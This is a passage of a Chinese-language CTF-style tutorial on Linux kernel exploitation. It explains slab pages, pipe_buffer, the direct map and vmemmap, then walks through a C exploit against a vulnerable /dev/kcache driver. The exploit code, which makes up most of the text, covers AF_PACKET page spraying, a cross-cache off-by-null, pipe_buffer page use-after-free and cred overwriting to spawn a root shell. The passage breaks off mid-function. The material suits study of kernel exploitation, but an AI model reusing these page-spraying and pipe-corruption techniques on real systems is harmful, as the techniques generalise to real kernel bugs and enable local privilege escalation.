创建 ring 后:     ring 持有 -> [Page X][Page Y][Page Z]...
                 (这些页暂时不回到 buddy 空闲池)

只要 ring 还活着,这些页就一直“归 ring 用”,别人(其他 kmem_cache)就拿不到。
当你销毁 ring / 关闭 socket,这些页才会“还回” buddy。

五:ko文件申请cache和pipe的cache之间的联系

最终想要的是这个物理/虚拟布局关系:

[ victim 的 slab page ] [ vuln(kcache_jar) 的 slab page ] [ victim 的 slab page ]

原因:

  • vuln 的越界是“跨页的 1 byte 写 0”
  • 只要 vuln page 的下一页刚好属于 victim cache,那么那 1 byte 就会写进 victim 对象开头(或其所在页的开头),造成可控的结构体字段破坏。

更直观的落点图:

Page A: kcache_jar slab page(vuln)
  obj1 的末尾 + 1 byte  --->  写到 Page B 的第 0 字节

Page B: kmalloc-cg-2k slab page(victim)
  pipe->bufs(2048 bytes)可能正好位于页开头/对象开头

六:结构体关系简单图

┌───────────────────────────────────────────┐
│  pipe_inode_info (管道控制块)             │
│                                           │
│  pipe->bufs  ───────────────┐             │
└─────────────────────────────┴─────────────┘
                              │
                              v
        (这是一块 slab/kmalloc 分配出来的数组内存)
┌───────────────────────────────────────────┐
│ pipe_buffer[0]  pipe_buffer[1] ...        │
│  ┌───────────┐                            │
│  │ page  ────┼───────────────┐            │
│  │ offset    │               │            │
│  │ len       │               │            │
│  └───────────┘               │            │
└──────────────────────────────┼────────────┘
                               v
                    (这是 vmemmap 里的“页登记卡”)
                        struct page  (描述某张物理页)
                               |
                               v
                       4KB 物理页(真正的数据在这)

七:slubpage和pipe_buffer

这是理解“页级 UAF/页级效果”的关键之一:

  • pipe_buffer 数组(pipe->bufs)本身,是 kmalloc/slab 分配出来的内存
  • slab 分配出来的内存最终也来自“某些物理页”(slab page)
  • 所以 pipe_buffer 结构体本身也躺在某张页里

于是你会看到一个容易绕晕的“page 出现两次”的现象:

  1. 承载 pipe_buffer 数组的那张 slab page(它也有一个 struct page 描述它)
  2. pipe_buffer.page 指向的那张数据页(它也有一个 struct page)

它们是两张不同的页,别混成一张:

  • “pipe_buffer 在哪张页里” ≠ “pipe_buffer.page 指向哪张页”

八:四级页表中的常用的大区

在 x86_64(4 级页表)上,Linux 官方文档给的布局里(节选):

  • 0xffff888000000000 开始是一大段 direct mapping of all physical memory(也叫 page_offset_base)
  • 0xffffea0000000000 开始是一大段 virtual memory map(也叫 vmemmap_base)

文档中对应行非常明确:

  • ffff888000000000 → “direct mapping of all physical memory (page_offset_base)”
  • ffffea0000000000 → “virtual memory map (vmemmap_base)”

你代码里的:

#define KERNEL_DIRECT_PHYSMEM_MAP_BASE 0xffff888000000000
#define KERNEL_VMEMMAP_BASE           0xffffea0000000000

就是把这两块区域的起点写死成常见值。

九:vmemmap和direct map进一步的理解

direct map:映射的是“物理页内容”(4KB 数据)

vmemmap:映射的是“物理页元数据 struct page”(每页一条记录)

KERNEL_DIRECT_PHYSMEM_MAP_BASE 到底是什么:物理内存的“线性镜像”起点

可以把它想成一句话

direct map = “把绝大部分物理内存,按一个固定偏移,线性映射到一段连续的内核虚拟地址区间里”。

官方文档把这段区域叫做 “direct mapping of all physical memory (page_offset_base)”。

为什么内核要搞 direct map?

因为内核经常需要“拿到一张物理页就立刻能访问它的内容”,如果每次都去临时建立映射(改页表/TLB),成本很高。

有了 direct map,内核就可以用简单的加减法在很多场景下完成转换:

  • 物理地址(PA)→ 直接映射虚拟地址(VA)
    VA = page_offset_base + PA
  • 直接映射虚拟地址(VA)→ 物理地址(PA)
    PA = VA - page_offset_base

一个具体例子(只为理解)

假设某个物理页的物理地址是:

  • PA = 0x0000000012345000

那么在 direct map 里的对应虚拟地址大概就是:

  • VA = 0xffff888000000000 + 0x12345000
  • VA = 0xffff888012345000

直觉:direct map 区域就像“物理内存的一个巨大镜像窗口”,起点是 0xffff8880...,窗口里偏移 +PA 的位置就对应那块物理内存。

重要提醒(避免你误解)

  • 不是所有内核地址都属于 direct map。例如 vmalloc 区(文档里 0xffffc900... 一段)就不是简单加减就能转回物理地址。
  • 有的系统/配置下 direct map 的基址可能被随机化(见下面第 6 点提到的 CONFIG_RANDOMIZE_MEMORY)。

KERNEL_VMEMMAP_BASE 是什么:“struct page 数组”的映射起点

这块是最容易和 direct map 搞混的,我用一句话把它钉死:

vmemmap 不是用来放“物理页内容”的;它是用来放“每张物理页的元数据 struct page” 的。

官方文档称它为 “virtual memory map (vmemmap_base)”。

为什么需要 vmemmap?

内核需要对每张物理页维护大量信息(引用计数、flags、属于哪个 zone、slab 信息……)。这些信息就存在 struct page 里。

为了能“用 PFN(页帧号)快速定位到对应的 struct page”,内核会把所有 struct page 组织成一个大数组,并把它映射到一段连续的虚拟地址空间里——这段空间的起点就是 vmemmap_base。

关键概念:PFN(Page Frame Number)

  • 物理地址按页划分(4KB 一页)
  • 页帧号:PFN = PA / 0x1000 = PA >> 12

vmemmap 的“数组下标”思维

把它想成:

vmemmap_base  ----->  [ struct page for PFN 0 ]
                      [ struct page for PFN 1 ]
                      [ struct page for PFN 2 ]
                      ...

因此(概念上):

  • page = (struct page *)(vmemmap_base + PFN * sizeof(struct page))

脚本编写

我们掌握了原理和内部的实现的细节,我们就可以来编写exp了

这里的写的难点主要有下面几个

怎么提前占用页布局?怎么定期释放以达到预期的溢出的布局?获取到uaf怎么进行找到pipe_buffer并且实现二级修改?在二级修改的时候怎么去控制pipe管道?怎么找到init结构体?

我们可以边写边讲

头文件

主要用途

<stdio.h>

标准输入输出(如 printf, fprintf)

<stdlib.h>

标准库函数(如 malloc, exit)

<unistd.h>

POSIX 系统调用接口(如 read, write, fork, getpid, sysconf)

<fcntl.h>

文件控制操作(如 open, O_RDONLY, fcntl)

<string.h>

字符串操作(如 memcpy, memset, strcpy)

<sched.h>

进程调度相关(如 sched_setaffinity 设置 CPU 亲和性,clone 等)

<sys/prctl.h>

进程控制(如 prctl(PR_SET_NAME, ...) 修改进程名,PR_SET_DUMPABLE 控制 core dump)

<sys/ioctl.h>

设备 I/O 控制(常用于与设备驱动通信,如 TTY、网络接口、自定义内核模块)

<sys/socket.h>

网络套接字编程(创建 socket、bind、send/recv 等)

<sys/mman.h>

内存映射(如 mmap, munmap, mprotect —— 常用于共享内存、动态代码执行、页权限修改)

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sched.h>
#include <sys/prctl.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/mman.h>

然后我们定义一下打印的信息

#define SUCCRSS_MSG(msg) "\033[32m\033[1m" msg "\033[0m"
#define log_success(msg) puts(SUCCESS_MSG(msg))
#define INFO_MSG(msg) "\033[34m\033[1m" msg "\033[0m"
#define log_info(msg) puts(INFO_MSG(msg)) 
#define ERROR_MSG(msg) "\033[31m\033[1m" msg "\033[0m"
#define log_error(msg) puts(INFO_MSG(msg)) 

定义一下核心的变量

#ifndef PAGE_SIZE
 #define PAGE_SIZE 0x1000
#endif

#ifndef PAGE_MASK
 #define PAGE_MASK (~(PAGE_SIZE-1))
#endif

#define KERNEL_BASE 0xffffffff81000000
#define KERNEL_DIRECT_PHYSMEM_MAP_BASE 0xffff888000000000
#define KERNEL_VMEMMAP_BASE 0xffffea0000000000
#define KASLR_GRANULARITY 0x10000000
#define KASLR_MASK (~(KASLR_GRANULARITY -1 ))

size_t kernel_base = KERNEL_BASE,kernel_offset = 0;
size_t page_offset_base = KERNEL_DIRECT_PHYSMEM_MAP_BASE;
size_t vmemmap_base = KERNEL_VMEMMAP_BASE;
size_t init_task,init_nsproxy,init_cread;

这里补充一下这些变量的牵扯

  1. PAGE_SIZE:一页多大
#ifndef PAGE_SIZE
 #define PAGE_SIZE 0x1000
#endif
  • PAGE_SIZE = 0x1000 = 4096 字节
  • 在大多数 x86_64 Linux 配置下,基本页大小就是 4KB(当然也有 hugepage / THP 那是另外一层概念)。

它的作用就是告诉你:页粒度运算(对齐、取页内偏移、算 PFN)都以 4096 为基准。

  1. PAGE_MASK:把任意地址“向下对齐到页边界”
#ifndef PAGE_MASK
 #define PAGE_MASK (~(PAGE_SIZE-1))
#endif
  • PAGE_SIZE - 1 = 0x0fff(页内偏移的掩码)
  • ~(PAGE_SIZE - 1) 就是把低 12 bit 清零的掩码

因此:

  • addr & PAGE_MASK = 页对齐后的地址(页起始地址)
  • addr & (PAGE_SIZE - 1) = 页内偏移

举个例子(你脑子里把它当成“整页取整”):

  • addr = 0x12345abc
  • 页起始:addr & PAGE_MASK = 0x12345000
  • 页内偏移:addr & 0xfff = 0xabc

这在“页级”讨论里非常常见,因为你经常需要判断某个地址落在哪一页,或者你只关心页边界。

  1. KERNEL_BASE:内核镜像(text)在虚拟地址里的“链接基址”
#define KERNEL_BASE 0xffffffff81000000

这是一个非常典型的 x86_64 Linux 值,常被用来表示:

  • 内核镜像(vmlinux)的链接虚拟地址基址(大致从这里开始是内核 text / rodata / data 等区域的映射)

直觉理解:

  • 如果内核不开 KASLR,这个值基本就是运行时的内核基址。
  • 如果开了 KASLR(地址随机化),运行时的真实基址会在它附近“整体平移”到另一个位置(但“整体平移”的幅度与对齐粒度由实现决定)。

所以它是“默认基准点”,方便用 kernel_base + offset 的思路去描述符号位置。

然后进阶的基础也简单的补充一下

direct map(0xffff8880...):把“物理内存内容”线性映射到内核虚拟地址,很多时候 VA≈base+PA。

vmemmap(0xffffea00...):把“所有 struct page(每页一条元数据)”排成数组映射到虚拟地址。

KASLR_MASK:像 PAGE_MASK 一样做对齐,只是把粒度换成更大(你这里是 256MB),用于把地址归到某个对齐边界上。

之后我们定义这个函数,用来帮我们确定我们的page结构体的所存储的位置

size_t direct_map_addr_to_page_addr(size_t direct_map_addr)
{
    size_t page_count;
    page_count = ((direct_map_addr & (~0xfff)) - page_offset_base)/0x1000;
    return vmemmap_base + page_count * 0x40;
}

还有一个特权建立的函数

void unshare_setup(void)
{
    char edit[0x100];
    int tmp_fd;
    unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET);
    tmp_fd = open("/proc/self/setgroups",O_WRONLY);
    write(tmp_fd,"deny",strlen("deny"));
    close(tmp_fd);
    tmp_fd = open("/proc/self/uid_map",O_WRONLY);
    snprintf(edit,sizeof(edit),"0 %d 1",getuid());
    write(tmp_fd,edit,strlen(edit));
    close(tmp_fd);
    tmp_fd = open("/proc/self/gid_map",O_WRONLY);
    snprintf(edit,sizeof(edit),"0 %d 1",getgid());
    write(tmp_fd,edit,strlen(edit));
    close(tmp_fd);
}

创建一个 Linux 的 AF_PACKET 原始套接字,并通过 PACKET_TX_RING 在内核里申请/初始化一块“发包用的环形缓冲区(TX ring)

int create_socket_and_alloc_pages(unsigned int size,unsigned int nr)
{
    struct tpacket_req req;
    int socket_fd,version;
    int ret;
    socket_fd = socket(AF_PACKET,SOCK_RAW,PF_PACKET);
    if(socket_fd < 0){
        log_error("[x] failed at socket(AF_PACKET<SOCK_RAW<PF_PACCKET)");
        ret = socket_fd;
        goto err_out;
    }
    version = TPACKET_V1;
    ret = setsockopt(socket_fd,SOL_PACKET,PACKET_VERSION,&version,sizeof(version));
    if(ret < 0){
        log_error("[x] failed at setsockopt(PACKET_VERSION)");
        goto err_setsockopt;
    }

    memset(&req,0,sizeof(req));
    req.tp_block_size = size;
    req.tp_block_nr = nr;
    req.tp_frame_size = 0x100;
    req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;
    ret = setsockopt(socket_fd,SOL_PACKET,PACKET_TX_RING,&req,sizeof(req));
    if(ret < 0){
        log_error("[x] failed at setsockopt(PACKET_TX_RING)");
        goto err_setsockopt;
    }
    return  socket_fd;
err_setsockopt:
    close(socket_fd);
err_out: 
    return ret;
}

父进程通过 pipe 下发 ALLOC / FREE 指令,子进程用 创建/关闭带 PACKET_TX_RING 的 packet socket 来在内核中批量申请/释放页级内存

void spray_cmd_handler(void)
{
    struct pgv_page_request req;
    int socket_fd[PGV_PAGE_NUM];
    int ret;

    unshare_setup();

    do{
        read(cmd_pipe_req[0],&req,sizeof(req));
        if(req.cmd == CMD_ALLOC_PAGE){
            ret = create_socket_and_alloc_pages(req.size,req.nr);
            socket_fd[req.idx] = ret;
        }
        else if (req.cmd == CMD_FREE_PAGE){
            ret = close(socket_fd[req.idx]);
        }
        else {
            printf(ERROR_MSG("[x] invalid request: ") "%d\n",req.cmd);
        }
        write(cmd_pipe_reply[1],&ret,sizeof(ret));
    }while (req.cmd != CMD_EXIT);
}

void prepare_pgv_system(void)
{
    pipe(cmd_pipe_req);
    pipe(cmd_pipe_reply);
    if(!fork()){
        spray_cmd_handler();
    }
}

最终exp

我们选取第一种利用方式,修改task的cred结构体实现提权

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sched.h>
#include <sys/prctl.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/mman.h>

/**
 * I - 基础设施
 * 如CPU核心绑定器,用户状态保存器等
**/

#define SUCCESS_MSG(msg)    "\033[32m\033[1m" msg "\033[0m"
#define INFO_MSG(msg)       "\033[34m\033[1m" msg "\033[0m"
#define ERROR_MSG(msg)      "\033[31m\033[1m" msg "\033[0m"

#define log_success(msg)    puts(SUCCESS_MSG(msg))
#define log_info(msg)       puts(INFO_MSG(msg))
#define log_error(msg)      puts(ERROR_MSG(msg))

#ifndef PAGE_SIZE
    #define PAGE_SIZE 0x1000
#endif

#ifndef PAGE_MASK
    #define PAGE_MASK (~(PAGE_SIZE - 1))
#endif

#define KERNEL_BASE 0xffffffff81000000
#define KERNEL_DIRECT_PHYSMEM_MAP_BASE 0xffff888000000000
#define KERNEL_VMEMMAP_BASE 0xffffea0000000000
#define KASLR_GRANULARITY 0x10000000
#define KASLR_MASK (~(KASLR_GRANULARITY - 1))

size_t kernel_base = KERNEL_BASE, kernel_offset = 0;
size_t page_offset_base = KERNEL_DIRECT_PHYSMEM_MAP_BASE;
size_t vmemmap_base = KERNEL_VMEMMAP_BASE;
size_t init_task, init_nsproxy, init_cred;

size_t direct_map_addr_to_page_addr(size_t direct_map_addr)
{
    size_t page_count;

    page_count = ((direct_map_addr & (~0xfff)) - page_offset_base) / 0x1000;
    
    return vmemmap_base + page_count * 0x40;
}

void err_exit(char *msg)
{
    printf(ERROR_MSG("[x] Error at: ") "%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

/* root检查器和shell弹出器 */
void get_root_shell(void)
{
    setresuid(0, 0, 0);
    setresgid(0, 0, 0);

    if(getuid()) {
        log_error("[x] Failed to get the root!");
        sleep(5);
        exit(EXIT_FAILURE);
    }

    log_success("[+] Successful to get the root.");
    log_info("[*] Execve root shell now...");

    system("su root -c sh");
    
    /* 为了正常退出进程,而不是潜在的段错误 */
    exit(EXIT_SUCCESS);
}

/* 用户空间状态保存器 */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    asm volatile(
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    log_info("[*] Status has been saved.");
}

/* 将进程绑定到特定核心 */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf(SUCCESS_MSG("[*] Process binded to core ") "%d\n", core);
}

/**
 * @brief 创建隔离的命名空间
 * 注意调用者**不应该**用于获取root权限,而仅是执行基本利用操作的操作员
**/
void unshare_setup(void)
{
    char edit[0x100];
    int tmp_fd;

    unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET);

    tmp_fd = open("/proc/self/setgroups", O_WRONLY);
    write(tmp_fd, "deny", strlen("deny"));
    close(tmp_fd);

    tmp_fd = open("/proc/self/uid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", getuid());
    write(tmp_fd, edit, strlen(edit));
    close(tmp_fd);

    tmp_fd = open("/proc/self/gid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", getgid());
    write(tmp_fd, edit, strlen(edit));
    close(tmp_fd);
}

struct page;
struct pipe_inode_info;
struct pipe_buf_operations;

/* 从len偏移开始读取,从offset开始写入 */
struct pipe_buffer {
    struct page *page;
    unsigned int offset, len;
    const struct pipe_buf_operations *ops;
    unsigned int flags;
    unsigned long private;
};

struct pipe_buf_operations {
    int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);
    void (*release)(struct pipe_inode_info *, struct pipe_buffer *);
    int (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);
    int (*get)(struct pipe_inode_info *, struct pipe_buffer *);
};

/**
 * II - 与/dev/kcache交互的接口
**/

#define KCACHE_SIZE 2048
#define KCACHE_NUM 0x10

#define KCACHE_ALLOC 0x114
#define KCACHE_APPEND 0x514
#define KCACHE_READ 0x1919
#define KCACHE_FREE 0x810

struct kcache_cmd {
    int idx;
    unsigned int sz;
    void *buf;
};

int dev_fd;

int kcache_alloc(int index, unsigned int size, char *buf)
{
    struct kcache_cmd cmd = {
        .idx = index,
        .sz = size,
        .buf = buf,
    };

    return ioctl(dev_fd, KCACHE_ALLOC, &cmd);
}

int kcache_append(int index, unsigned int size, char *buf)
{
    struct kcache_cmd cmd = {
        .idx = index,
        .sz = size,
        .buf = buf,
    };

    return ioctl(dev_fd, KCACHE_APPEND, &cmd);
}

int kcache_read(int index, unsigned int size, char *buf)
{
    struct kcache_cmd cmd = {
        .idx = index,
        .sz = size,
        .buf = buf,
    };

    return ioctl(dev_fd, KCACHE_READ, &cmd);
}

int kcache_free(int index)
{
    struct kcache_cmd cmd = {
        .idx = index,
    };

    return ioctl(dev_fd, KCACHE_FREE, &cmd);
}

/**
 * III - pgv页面喷射相关 
 * 注意我们应该创建两个进程:
 * - 父进程是发送命令和获取root的那个
 * - 子进程通过调用unshare_setup()创建隔离的用户空间,
 *      接收来自父进程的命令并仅执行操作
**/

#define PGV_PAGE_NUM 1000
#define PACKET_VERSION 10
#define PACKET_TX_RING 13

struct tpacket_req {
    unsigned int tp_block_size;
    unsigned int tp_block_nr;
    unsigned int tp_frame_size;
    unsigned int tp_frame_nr;
};

/* 每次分配是(size * nr)字节,按PAGE_SIZE对齐 */
struct pgv_page_request {
    int idx;
    int cmd;
    unsigned int size;
    unsigned int nr;
};

/* 操作类型 */
enum {
    CMD_ALLOC_PAGE,
    CMD_FREE_PAGE,
    CMD_EXIT,
};

/* tpacket版本用于setsockopt */
enum tpacket_versions {
    TPACKET_V1,
    TPACKET_V2,
    TPACKET_V3,
};

/* 用于命令通信的管道 */
int cmd_pipe_req[2], cmd_pipe_reply[2];

/* 创建套接字并分配页面,返回套接字fd */
int create_socket_and_alloc_pages(unsigned int size, unsigned int nr)
{
    struct tpacket_req req;
    int socket_fd, version;
    int ret;

    socket_fd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);
    if (socket_fd < 0) {
        log_error("[x] failed at socket(AF_PACKET, SOCK_RAW, PF_PACKET)");
        ret = socket_fd;
        goto err_out;
    }

    version = TPACKET_V1;
    ret = setsockopt(socket_fd, SOL_PACKET, PACKET_VERSION, 
                     &version, sizeof(version));
    if (ret < 0) {
        log_error("[x] failed at setsockopt(PACKET_VERSION)");
        goto err_setsockopt;
    }

    memset(&req, 0, sizeof(req));
    req.tp_block_size = size;
    req.tp_block_nr = nr;
    req.tp_frame_size = 0x1000;
    req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;

    ret = setsockopt(socket_fd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req));
    if (ret < 0) {
        log_error("[x] failed at setsockopt(PACKET_TX_RING)");
        goto err_setsockopt;
    }

    return socket_fd;

err_setsockopt:
    close(socket_fd);
err_out:
    return ret;
}

/* 父进程应调用它来发送分配命令给子进程 */
int alloc_page(int idx, unsigned int size, unsigned int nr)
{
    struct pgv_page_request req = {
        .idx = idx,
        .cmd = CMD_ALLOC_PAGE,
        .size = size,
        .nr = nr,
    };
    int ret;

    write(cmd_pipe_req[1], &req, sizeof(struct pgv_page_request));
    read(cmd_pipe_reply[0], &ret, sizeof(ret));

    return ret;
}

/* 父进程应调用它来发送释放命令给子进程 */
int free_page(int idx)
{
    struct pgv_page_request req = {
        .idx = idx,
        .cmd = CMD_FREE_PAGE,
    };
    int ret;

    write(cmd_pipe_req[1], &req, sizeof(req));
    read(cmd_pipe_reply[0], &ret, sizeof(ret));

    usleep(10000);

    return ret;
}

/* 子进程,处理来自管道的命令 */
void spray_cmd_handler(void)
{
    struct pgv_page_request req;
    int socket_fd[PGV_PAGE_NUM];
    int ret;

    /* 创建隔离的命名空间*/
    unshare_setup();

    /* 处理请求 */
    do {
        read(cmd_pipe_req[0], &req, sizeof(req));

        if (req.cmd == CMD_ALLOC_PAGE) {
            ret = create_socket_and_alloc_pages(req.size, req.nr);
            socket_fd[req.idx] = ret;
        } else if (req.cmd == CMD_FREE_PAGE) {
            ret = close(socket_fd[req.idx]);
        } else {
            printf(ERROR_MSG("[x] invalid request: ") "%d\n", req.cmd);
        }

        write(cmd_pipe_reply[1], &ret, sizeof(ret));
    } while (req.cmd != CMD_EXIT);
}

/* 初始化pgv-exploit子系统 :) */
void prepare_pgv_system(void)
{
    /* pgv管道 */
    pipe(cmd_pipe_req);
    pipe(cmd_pipe_reply);
    
    /* 用于页面喷射的子进程 */
    if (!fork()) {
        spray_cmd_handler();
    }
}

/**
 * IV - 页面级堆喷射和堆风水配置
**/

#define PIPE_SPRAY_NUM 200

#define PGV_1PAGE_SPRAY_NUM 0x20

#define PGV_4PAGES_START_IDX PGV_1PAGE_SPRAY_NUM
#define PGV_4PAGES_SPRAY_NUM 0x40

#define PGV_8PAGES_START_IDX (PGV_4PAGES_START_IDX + PGV_4PAGES_SPRAY_NUM)
#define PGV_8PAGES_SPRAY_NUM 0x40

int pgv_1page_start_idx = 0;
int pgv_4pages_start_idx = PGV_4PAGES_START_IDX;
int pgv_8pages_start_idx = PGV_8PAGES_START_IDX;

/* 以不同大小喷射页面用于各种用途 */
void prepare_pgv_pages(void)
{
    /**
     * 我们想要在那里有一个更清晰和连续的内存,这要求我们在分配order-3页面时
     * 减少噪音对象的分配顺序。
     * 所以我们预先分配那些嘈杂对象的页面。
     */
    log_info("[*] spray pgv order-0 pages...");
    for (int i = 0; i < PGV_1PAGE_SPRAY_NUM; i++) {
        if (alloc_page(i, 0x1000, 1) < 0) {
            printf("[x] failed to create %d socket for pages spraying!\n", i);
        }
    }

    log_info("[*] spray pgv order-2 pages...");
    for (int i = 0; i < PGV_4PAGES_SPRAY_NUM; i++) {
        if (alloc_page(PGV_4PAGES_START_IDX + i, 0x1000 * 4, 1) < 0) {
            printf("[x] failed to create %d socket for pages spraying!\n", i);
        }
    }

    /* 喷射8页用于页面级堆风水 */
    log_info("[*] spray pgv order-3 pages...");
    for (int i = 0; i < PGV_8PAGES_SPRAY_NUM; i++) {
        /* 一个套接字需要1个对象:sock_inode_cache,4页上1个slub的19个对象*/
        if (i % 19 == 0) {
            free_page(pgv_4pages_start_idx++);
        }

        /* 一个套接字需要1个dentry:dentry,1页上1个slub的21个对象 */
        if (i % 21 == 0) {
            free_page(pgv_1page_start_idx += 2);
        }

        /* 一个pgv需要1个对象:kmalloc-8,1页上1个slub的512个对象*/
        if (i % 512 == 0) {
            free_page(pgv_1page_start_idx += 2);
        }

        if (alloc_page(PGV_8PAGES_START_IDX + i, 0x1000 * 8, 1) < 0) {
            printf("[x] failed to create %d socket for pages spraying!\n", i);
        }
    }

    puts("");
}

/* 用于管道升级 */
#define SND_PIPE_BUF_SZ 96
#define TRD_PIPE_BUF_SZ 192

int pipe_fd[PIPE_SPRAY_NUM][2];
int orig_pid = -1, victim_pid = -1;
int snd_orig_pid = -1, snd_vicitm_pid = -1;
int self_2nd_pipe_pid = -1, self_3rd_pipe_pid = -1, self_4th_pipe_pid = -1;

struct pipe_buffer info_pipe_buf;

int extend_pipe_buffer_to_4k(int start_idx, int nr)
{
    for (int i = 0; i < nr; i++) {
        /* 让pipe_buffer分配在order-3页面(kmalloc-4k)上 */
        if (i % 8 == 0) {
            free_page(pgv_8pages_start_idx++);
        }

        /* 1k上的pipe_buffer用于16页,所以4k用于64页 */
        if (fcntl(pipe_fd[start_idx + i][1], F_SETPIPE_SZ, 0x1000 * 64) < 0) {
            printf("[x] failed to extend %d pipe!\n", start_idx + i);
            return -1;
        }
    }

    return 0;
}

/**
 *  V - 第一阶段利用 - 跨缓存溢出制造页面级UAF
*/

void corrupting_first_level_pipe_for_page_uaf(void)
{
    char buf[0x1000];

    log_info("[*] spray pipe_buffer...");
    for (int i = 0; i < PIPE_SPRAY_NUM; i ++) {

        if (pipe(pipe_fd[i]) < 0) {
            printf("[x] failed to alloc %d pipe!", i);
            err_exit("FAILED to create pipe!");
        }
    }

    /* 在order-2页面上喷射pipe_buffer,在漏洞对象slub周围分布。*/

    log_info("[*] exetend pipe_buffer...");
    if (extend_pipe_buffer_to_4k(0, PIPE_SPRAY_NUM / 2) < 0) {
        err_exit("FAILED to extend pipe!");
    }

    log_info("[*] spray vulnerable 2k obj...");
    free_page(pgv_8pages_start_idx++);
    for (int i = 0; i < KCACHE_NUM; i++) {
        kcache_alloc(i, 8, "arttnba3");
    }

    log_info("[*] exetend pipe_buffer...");
    if (extend_pipe_buffer_to_4k(PIPE_SPRAY_NUM / 2, PIPE_SPRAY_NUM / 2) < 0) {
        err_exit("FAILED to extend pipe!");
    }

    log_info("[*] allocating pipe pages...");
    for (int i = 0; i < PIPE_SPRAY_NUM; i++) {
        write(pipe_fd[i][1], "arttnba3", 8);
        write(pipe_fd[i][1], &i, sizeof(int));
        write(pipe_fd[i][1], &i, sizeof(int));
        write(pipe_fd[i][1], &i, sizeof(int));
        write(pipe_fd[i][1], "arttnba3", 8);
        write(pipe_fd[i][1], "arttnba3", 8);  /* 防止pipe_release() */
    }

    /* 尝试触发跨缓存溢出 */
    log_info("[*] trigerring cross-cache off-by-null...");
    for (int i = 0; i < KCACHE_NUM; i++) {
        kcache_append(i, KCACHE_SIZE - 8, buf);
    }

    /* 检查跨缓存溢出 */
    log_info("[*] checking for corruption...");
    for (int i = 0; i < PIPE_SPRAY_NUM; i++) {
        char a3_str[0x10];
        int nr;

        memset(a3_str, '\0', sizeof(a3_str));
        read(pipe_fd[i][0], a3_str, 8);
        read(pipe_fd[i][0], &nr, sizeof(int));
        if (!strcmp(a3_str, "arttnba3") && nr != i) {
            orig_pid = nr;
            victim_pid = i;
            printf(SUCCESS_MSG("[+] Found victim:") " %d "
                   SUCCESS_MSG(", orig: ") "%d\n\n", 
                   victim_pid, orig_pid);
            break;
        }
    }

    if (victim_pid == -1) {
        err_exit("FAILED to corrupt pipe_buffer!");
    }
}

void corrupting_second_level_pipe_for_pipe_uaf(void)
{
    size_t buf[0x1000];
    size_t snd_pipe_sz = 0x1000 * (SND_PIPE_BUF_SZ/sizeof(struct pipe_buffer));

    memset(buf, '\0', sizeof(buf));

    /* 让页面的指针在pipe_buffer中 */
    write(pipe_fd[victim_pid][1], buf, SND_PIPE_BUF_SZ*2 - 24 - 3*sizeof(int));

    /* 释放原始管道的页面 */
    log_info("[*] free original pipe...");
    close(pipe_fd[orig_pid][0]);
    close(pipe_fd[orig_pid][1]);

    /* 尝试通过重新分配pipe_buffer重新命中受害者页面 */
    log_info("[*] fcntl() to set the pipe_buffer on victim page...");
    for (int i = 0; i < PIPE_SPRAY_NUM; i++) {
        if (i == orig_pid || i == victim_pid) {
            continue;
        }

        if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, snd_pipe_sz) < 0) {
            printf("[x] failed to resize %d pipe!\n", i);
            err_exit("FAILED to re-alloc pipe_buffer!");
        }
    }

    /* 读取受害者页面以检查是否成功命中它 */
    read(pipe_fd[victim_pid][0], buf, SND_PIPE_BUF_SZ - 8 - sizeof(int));
    read(pipe_fd[victim_pid][0], &info_pipe_buf, sizeof(info_pipe_buf));

    printf(INFO_MSG("[?] info_pipe_buf->page: ") "%p\n" 
           INFO_MSG("[?] info_pipe_buf->ops: ") "%p\n", 
           info_pipe_buf.page, info_pipe_buf.ops);

    if ((size_t) info_pipe_buf.page < KERNEL_DIRECT_PHYSMEM_MAP_BASE
        || (size_t) info_pipe_buf.ops < KERNEL_BASE) {
        err_exit("FAILED to re-hit victim page!");
    }

    log_success("[+] Successfully to hit the UAF page!");
    printf(SUCCESS_MSG("[+] Got page leak: ") "%p\n", info_pipe_buf.page);
    puts("");

    /* 构造第二级页面uaf */
    log_info("[*] construct a second-level uaf pipe page...");
    info_pipe_buf.page = (struct page*) ((size_t) info_pipe_buf.page + 0x40);
    write(pipe_fd[victim_pid][1], &info_pipe_buf, sizeof(info_pipe_buf));

    for (int i = 0; i < PIPE_SPRAY_NUM; i++) {
        int nr;

        if (i == orig_pid || i == victim_pid) {
            continue;
        }

        read(pipe_fd[i][0], &nr, sizeof(nr));
        if (nr < PIPE_SPRAY_NUM && i != nr) {
            snd_orig_pid = nr;
            snd_vicitm_pid = i;
            printf(SUCCESS_MSG("[+] Found second-level victim: ")"%d "
                   SUCCESS_MSG(", orig: ")"%d\n", 
                   snd_vicitm_pid, snd_orig_pid);
            break;
        }
    }

    if (snd_vicitm_pid == -1) {
        err_exit("FAILED to corrupt second-level pipe_buffer!");
    }
}

/**
 * VI - 第二阶段利用:构建管道实现任意读写
*/

void building_self_writing_pipe(void)
{
    size_t buf[0x1000];
    size_t trd_pipe_sz = 0x1000 * (TRD_PIPE_BUF_SZ/sizeof(struct pipe_buffer));
    struct pipe_buffer evil_pipe_buf;
    struct page *page_ptr;

    memset(buf, 0, sizeof(buf));

